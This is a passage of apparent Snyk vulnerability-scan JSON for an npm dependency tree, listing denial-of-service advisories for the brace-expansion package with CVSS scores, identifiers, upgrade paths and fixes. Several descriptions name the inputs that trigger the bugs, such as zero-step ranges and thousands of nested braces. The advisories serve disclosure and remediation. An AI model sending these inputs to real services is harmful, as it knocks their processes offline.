[CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
